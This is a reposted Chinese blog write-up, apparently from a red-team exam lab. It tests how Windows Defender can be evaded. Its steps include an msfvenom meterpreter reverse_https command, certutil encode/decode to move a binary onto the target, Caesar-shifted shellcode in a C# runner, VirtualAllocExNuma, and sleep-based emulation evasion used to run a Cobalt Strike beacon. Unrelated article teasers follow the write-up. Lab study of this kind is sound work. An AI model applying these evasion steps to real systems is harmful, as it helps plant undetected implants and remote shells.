Windows Defender 绕过(RTO I Lab环境实测)

news2024/11/19 0:37:15

背景

15号这天我通过了 RTO I 的考试。细想 RTO I 考试的 Lab,好像 Windows Defender(以下简称 WD)的保护做的比 OSEP 考试时还要好,更加严格。

回想起 9 月考 OSEP 的时候,只要你的 Payload 在文件创建(On-Disk Detection)阶段不被 WD flag,那么内存执行阶段并没有触发任何 WD 的检测动作。

这篇文章,我会把 OSEP 中的绕过机制放在 RTO Lab 里一一尝试。第一,考察一下所学是否可以致用;第二,如果不行,能否找到解决方案。

声明

文章没有映射任何考试内容,请不要将文章中的信息作为备考依据。

RTO I Windows Defender (Windows 10)

我们 Host 4个 beacon 文件(1个http_x64.exe, 1个http_x64.xprocess.bin,1个smb_x64.ps1,1个tcp-local_x64.dll)。
在这里插入图片描述
我们在 Lab 里下载任意一个,看一下 WD 的反应。

在这里插入图片描述
exe 被 flag 并删掉了。

在这里插入图片描述

raw 没能幸存。

在这里插入图片描述
在这里插入图片描述

powershell 没能幸存。

在这里插入图片描述
在这里插入图片描述

dll 同样没能幸存。

在这里插入图片描述

在这里插入图片描述
四种 Payload 和对应的 WD 检测类型如上。Windows Defender 成功检测到了默认的 Cobalt Strike Payload。如何使用 Arsenal-Kit 绕过 WD 不在本章讨论范围,参考HackTricks。

Windows Defender On-Disk Detection 绕过

On-Disk Detection

第一步我们要解决的问题就是如何将我们的 Payload 丢到目标机器上而不被检测。

我们将用 C# Shellcode Runner 做测试。

首先生成一个 meterpreter payload(连接到 localhost,之后会用 nc 测试 shellcode 是否成功执行)。

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=127.0.0.1 LPORT=443 -f csharp

在这里插入图片描述

塞到代码中。

在这里插入图片描述

然后用 VirtualAllocCreateThread 执行这个 shellcode。

在这里插入图片描述

在没有做任何绕过的情况下,把这个编译(Release,x64)好的文件直接丢到目标机器上看结果。

目标 Lab 不能传输文件,文本只能拷入,所以用如下方式。

certutil -encode payload.exe hi.txt

复制 payload.txt 到目标机器。

certutil -decode hi.txt hi.exe

被检测到了。

在这里插入图片描述

第一关是 Signature Detection,shellcode 没有做任何处理,很大可能是 shellcode 直接被检测到了。

简单做下 Casar Cipher 处理。每个字节位移 9 个位置(OFFSET = 9)。

在这里插入图片描述
9 个位移之后的 shellcode。
在这里插入图片描述

替换掉原来的 shellcode,然后反向操作,在执行时还原 shellcode。

在这里插入图片描述

现在的 shellcode 相当于简单 obfuscate 了一下。再次尝试。

还是被检测到。

在这里插入图片描述

两个猜想,要么就是 shellcode 简单的处理不足以绕过 Siganature Detection;要么就是 Signature Detection 已经成功绕过,但是 Behavioral Detection 检测到了还原之后的 shellcode。

尝试绕过 Behavioral Detection。

上非标准 Win32API VirtualAllocExNuma(Behavioral Detection 不会模拟此类 API)。

在这里插入图片描述

还是被检测到了。

在这里插入图片描述

再上 Time Delay(为了保证用户体验,防护机制不会长时间等待,而会跳过诸如 Sleep 等方法,直接模拟之后的代码)。

在这里插入图片描述

这次,成功绕过 On-Disk Detection。

在这里插入图片描述

基于以上信息,WD 的检测思路应该是先 Signature Detection,没问题的话,上 Behavioral Detection,如果都没问题,就不会 flag 这个文件。

再次验证,把 VirtualAllocExNuma 去掉,对 shellcode 也不做位移处理。只用 Time Delay 的方法。

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

放到目标机器上测试。

被检测到。说明第一步 Signature Detection 没有过关。

在这里插入图片描述

那处理一下 shellcode。

在这里插入图片描述

成功绕过检测。

在这里插入图片描述

猜想正确。

In-Memory Detection

成功绕过 On-Disk 之后,执行阶段会有内存检测吗?

尝试一下(因为有 AppLocker,拷贝到 \windows\tasks 执行)。

在这里插入图片描述

并没有。

在这里插入图片描述

放一个 nc.exe 到机器上测试 shellcode 是否成功执行。

在这里插入图片描述

这里更改一下 shellcode 的端口到 4444,忘了没有 Admin 权限不能监听 443 端口。

 msfvenom -p windows/x64/meterpreter/reverse_https LHOST=127.0.0.1 LPORT=4444 -f csharp

监听 4444 端口。

在这里插入图片描述

运行 hi.exe

收到 meterpreter 连接。
在这里插入图片描述

如果目标机器有网络连接,那么就能拿到一个 meterpreter shell 了(不过 Stager 可能被检测到,这里也没法测试,以后有机会再模拟这种情况)。

测试运行 Cobalt Strike 原生 Payload

既然这样的 shellcode 能成功执行,那么 hexdump 出 Cobalt Strike 的原生 Payload,是不是就能执行并拿到 beacon。

这里 hexdumphttp_x64.xprocess.bin

hexdump -ve '"0x" 1/1 "%02x,"'

在这里插入图片描述

在这里插入图片描述

Caesar cipher

在这里插入图片描述

做同样的反向处理,并执行。

在这里插入图片描述

编译,放到目标机器上。

在这里插入图片描述

同样放到 DataCenter 2022 上,测试会不会被删除。

健在。

在这里插入图片描述

那么运行起来看一下会不会被检测到。

文件没有被删除。
在这里插入图片描述

总结

这篇文章尝试了一下在 PEN300 课程之外的环境里面,Windows Defender 绕过的应用效果。在 RTO Lab 中看了一下 WD 的 Exclusion 设置,并没有添加任何文件和文件夹。意味着 WD 的运行应该就是真实环境中的那样,并没有任何干预。
在这里插入图片描述
之后,再次用相同的 Payload 在 Data Center 2022 上做了一样的测试。

在这里插入图片描述

Cobalt Strike 生成的 http_x64.exe 被检测到并删除,而我们的 Payload 健在。
在这里插入图片描述
运行起来,虽然看不到输出,但是等一段时间 hi.exe 超时了之后,文件也都没有被删除,说明了内存中也没有被检测到。

在这里插入图片描述
至此可以感觉到,Windows Defender 的绕过还是非常简单的。其实有点超乎我的预料,有点太简单了。这意味着可以无视 WD 的存在,随意执行 shellcode。

那么在第三方杀软在场的情况下,这样的绕过表现如何,择日再测。

另外,这里可能对于 In-Memory Detection 有一点误解。In-Memory Detection 说的应该只是 AMSI 相关的检测,是针对 PoweShell,JScript,以及网络下载的数据(DownloadData)等的拦截和查杀。这可能就是为什么 On-Disk 只要绕过了,执行 shellcode 没有任何阻力的原因。以后进一步验证。

KEEP CALM AND HACK AWAY!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/95918.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

这可能是Github 最全的Java面试笔记, 简直把所有 Java 知识面试题写出来了

前言 作为一个 Java 程序员,你平时总是陷在业务开发里,每天噼里啪啦忙敲着代码,上到系统开发,下到 Bug 修改,你感觉自己无所不能。然而偶尔的一次聚会,你听说和自己一起出道的同学早已经年薪 50 万&#x…

大数据 Hadoop集群配置

配置Hadoop集群 在master虚拟机上配置hadoop 编辑Hadoop环境配置文件 - hadoop-env.sh 命令:cd $HADOOP_HOME/etc/hadoop,进入hadoop配置目录 命令:vim hadoop-env.sh 命令source hadoop-env.sh,让配置生效 编辑Hadoop核心配…

项目的可交付成果

目录 概述 定义 形式 评审与验收 概述 概念来自PMBOK,这书真的要细嚼慢咽,“可交付成果”多次出现,全书总共出现了288次,贯穿全书,绝对是个核心概念。 定义 可交付成果是在某一过程、阶段或项目完成时,必须产出的任何独特并可核实的产品、成果或服务能力。它通常是…

2022吴恩达机器学习课程——第二课(神经网络)

注:参考B站视频教程 视频链接:【(强推|双字)2022吴恩达机器学习Deeplearning.ai课程】 文章目录第一周一、神经元二、神经网络三、代码实现 & Tensorflow四、前向传播五、强人工智能六、矩阵乘法 (简单,可以跳过)第二周一、用Tensorflow训…

20221217英语学习

今日新词 haul v.(人)拖,拉 herd n.人群;(尤指有蹄的哺乳动物)兽群,牧群 focus v.把注意力集中于,重视;集中;(使)调节焦距 result…

代码随想录刷题记录day44 股票问题3 4

代码随想录刷题记录day44 股票问题3 4 123. 买卖股票的最佳时机 III 思想 dp数组定义 递推公式 dp[i][0] 第i天不操作股票手头最大的现金 i从0开始 dp[i][1] 第i天第一次持有股票的手头最大的现金 dp[i][1] max: i-1天不操作,第i天才买入:dp[i-1][0…

港科夜闻|香港科技大学(广州)拟获批首个省级重点实验室

关注并星标每周阅读港科夜闻建立新视野 开启新思维1、香港科技大学(广州)拟获批首个省级重点实验室。2022年12月6日,广东省科学技术厅发布关于2023年度平台基地及科技基础条件建设、高水平科技期刊建设拟立项目清单的公示,香港科大(广州)申报的广东省通感…

「Spring Cloud Alibaba官方手册」首发爆火,Github上标星243k

几年前 Dubbo被 SpringCloud所取代,相同的剧本,可惜阿里巴巴和 Spring社区都是巨头,巨头之间战斗要考虑很多,于是它们想到了合作, SpringCloud与alibaba相结合,技术上有人负责更新新的组件,也还…

今年面试太难,我凭借这份Java架构面试指南,成功跳槽涨薪10K

见字如面,这里是阿鑫~ 时光飞逝,转眼2022已经快结束了,最近内卷严重,大环境并不是很好,相信很多小伙伴也在准备明年金三银四的面试计划 ​跳槽加薪 职场中加薪有个屡试不爽的方法,那就是跳槽 每每听到周围…

浮点数运算不精确的问题解决和注意事项(BigDecimal)

总结:浮点数运算不精确的问题本质上是在存储的时候就不精确,这个问题会持续到即使使用到专业的工具类BigDecimal来使用时,如果仅仅只是传double类型做入参时依然会导致运算不精确,所以即使在使用BigDecimal工具类进行构造时也要使…

论文浅尝 | Knowledge Graph Contrastive Learning for Recommendation

笔记整理:刘尧锟,天津大学硕士链接:https://arxiv.org/pdf/2205.00976.pdf动机知识图谱已被用作有用的辅助信息来提高推荐质量。在这些推荐系统中,知识图谱信息通常包含丰富的事实和项目之间的内在语义相关性。然而,此…

Python源码学习新手攻略

Python源码学习是许多编程初学者在学习Python过程中十分重要的一个必经步骤,不仅如此,一些有一定开发经验的程序员想要提升自身,也常常需要阅读并学习优秀核心技术栈的源码。那么我们应该如何开始Python源码学习呢?下面小编就来和…

自学Web前端开发学习讲解 – 入门篇

很多人都对web前端感兴趣,这一期主要聊关于如何入门学习Web前端开发的过程分享,此篇适合想入门初学者,大佬就不用看了。主要内容是以本人这一路自学web前端的一些经验和建议,学习哪些知识,以及如何正确的去学&#xff…

AI绘画火爆,到现在还只是冰山一角?AIGC掀起当代新艺术浪潮

前言: hello,大家好我是Dream。近日,各大社交平台掀起了一股“AI绘图”风潮,很多同学朋友纷纷在社交平台上晒出了属于自己的AI照片,一时间AI相关话题热度高涨。那对于AI绘画以及开启AI内容创作新时代的昆仑万维你究竟了…

东北大学2023分布式操作系统考试题目及答案

Note:答案仅供参考,自己所写,不是标准答案,若发现错误,请指正,谢谢! 文章目录考试题目参考答案考试题目 1、简述分布式系统的设计目标中开放性的特点有哪些? 、 、 、 、 、 、 、…

​燕东微科创板上市:市值276亿 亦庄国投与京东方是股东

雷递网 雷建平 12月16日北京燕东微电子股份有限公司(简称:“燕东微”,股票代码为:“688172”)今日在科创板上市,燕东微本次发行17986.5617万股,发行价21.98元,募资总额39.56亿元。燕…

关于hcaptcha (vm wasm ob)三合一

该文章主要提供交流学习使用,请勿利用其进行不当行为! 如本篇文章侵犯了贵公司的隐私,请联系我立刻删除! 如因滥用解密技术而产生的风险与本人无关! 1 Hcaptcha hCaptcha 旨在解决机器学习中最劳动密集型的问题&am…

毕业设计 - 基于 java web的网上花店销售系统设计与实现【源码+论文】

文章目录前言一、项目设计1. 模块设计数据流图功能模块2. 实现效果二、部分源码项目源码前言 今天学长向大家分享一个 毕业设计项目: 网上花店销售系统的设计与实现 一、项目设计 1. 模块设计 数据流图 功能模块 1、首页(主界面) 提供简洁美观的主界…

Jenkins+Kubernetes企业级DevOps容器云平台

一、Kubernetes在DevOps中的作用 1、DevOps DevOps假导所有新的功能特性可以像流动的水一样,迭代到用户的终端,而水是不能讲流的,为了保证水流的质量,我们就必须在水流动的途中治理,直到最终交付到用户的手中。 DevOps是一套方法论、一系列的原则和实践,其主要目标为帮…

【Robot Framework】发送GET和POST请求

做接口自动化时,经常要使用GET与POST请求,那么如何使用RF发送对应的请求呢? 一、安装RequestsLibrary pip install robotframework-requests安装以后,导入到对应的测试套件或测试用例中. 本次主要介绍通过RequestsLibrary来实现…